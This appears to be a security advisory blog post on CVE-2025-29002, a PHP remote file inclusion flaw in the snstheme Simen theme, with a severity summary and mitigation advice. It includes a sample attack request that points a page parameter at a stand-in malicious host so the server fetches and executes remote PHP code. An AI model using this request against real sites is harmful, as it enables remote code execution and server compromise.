Overview
The vulnerability CVE-2025-29002 is a significant security flaw that affects the snstheme Simen, a popular PHP-based theme widely used in various web applications. This vulnerability focuses on the improper control of filename for Include/Require Statement in PHP Program, otherwise known as ‘PHP Remote File Inclusion’.
Users and administrators of websites and applications running on snstheme Simen should be particularly concerned about this vulnerability, as it can potentially lead to system compromise or data leakage. This blog post will provide a detailed examination of this vulnerability, its potential impact, and mitigation steps.
Vulnerability Summary
CVE ID: CVE-2025-29002
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
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Product | Affected Versions
snstheme Simen | n/a through 4.6
How the Exploit Works
The exploit takes advantage of the improper control of filename within the PHP Include/Require statement in snstheme Simen. An attacker can remotely include files from external servers, thereby executing arbitrary code. The code runs with the privileges of the server, potentially resulting in full system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example that demonstrates how this vulnerability might be exploited. In this scenario, an attacker sends a specially crafted URL that includes a reference to a remote file with malicious PHP code:
GET /index.php?page=http://malicious.example.com/malicious_code.txt HTTP/1.1
Host: target.example.comIn the example above, the file ‘malicious_code.txt’ on the remote server ‘malicious.example.com’ would contain the PHP code that the attacker wants to execute on the target server.
Mitigation Guidance
To mitigate this vulnerability, users of snstheme Simen should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability.
In the longer term, developers should avoid using user input directly in Include/Require statements and should validate and sanitize all user input. Regular code reviews and security audits can help catch such vulnerabilities before they become a problem.